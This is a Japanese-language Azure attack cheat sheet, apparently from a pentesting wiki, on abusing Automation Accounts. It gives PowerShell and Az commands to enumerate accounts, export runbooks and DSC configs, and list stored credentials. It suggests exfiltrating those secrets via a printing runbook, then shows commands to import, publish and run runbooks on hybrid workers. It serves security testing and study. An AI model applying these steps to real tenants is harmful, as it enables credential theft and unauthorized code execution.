Run as Accountを使用すると、Azure ADに自己署名証明書を持つアプリケーションが作成され、サービスプリンシパルが作成され、現在のサブスクリプションのアカウントにContributorロールが割り当てられます(多くの権限)。
MicrosoftはAutomation AccountにはManaged Identityの使用を推奨しています。
# Check user right for automationaz extension add --upgrade -n automationaz automation account list # if it doesn't return anything the user is not a part of an Automation group# Gets Azure Automation accounts in a resource groupGet-AzAutomationAccount# List & get DSC configsGet-AzAutomationAccount|Get-AzAutomationDscConfigurationGet-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)# List & get Run books codeGet-AzAutomationAccount|Get-AzAutomationRunbookGet-AzAutomationAccount|Get-AzAutomationRunbook|Export-AzAutomationRunbook-OutputFolder /tmp# List credentials & variables & othersGet-AzAutomationAccount|Get-AzAutomationCredentialGet-AzAutomationAccount|Get-AzAutomationVariableGet-AzAutomationAccount|Get-AzAutomationConnectionGet-AzAutomationAccount|Get-AzAutomationCertificateGet-AzAutomationAccount|Get-AzAutomationScheduleGet-AzAutomationAccount|Get-AzAutomationModuleGet-AzAutomationAccount|Get-AzAutomationPython3Package## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them# List hybrid workersGet-AzAutomationHybridWorkerGroup-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>
ランブックの作成
# Get the role of a user on the Automation account# Contributor or higher = Can create and execute RunbooksGet-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell RunbookImport-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the RunbookPublish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the RunbookStart-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose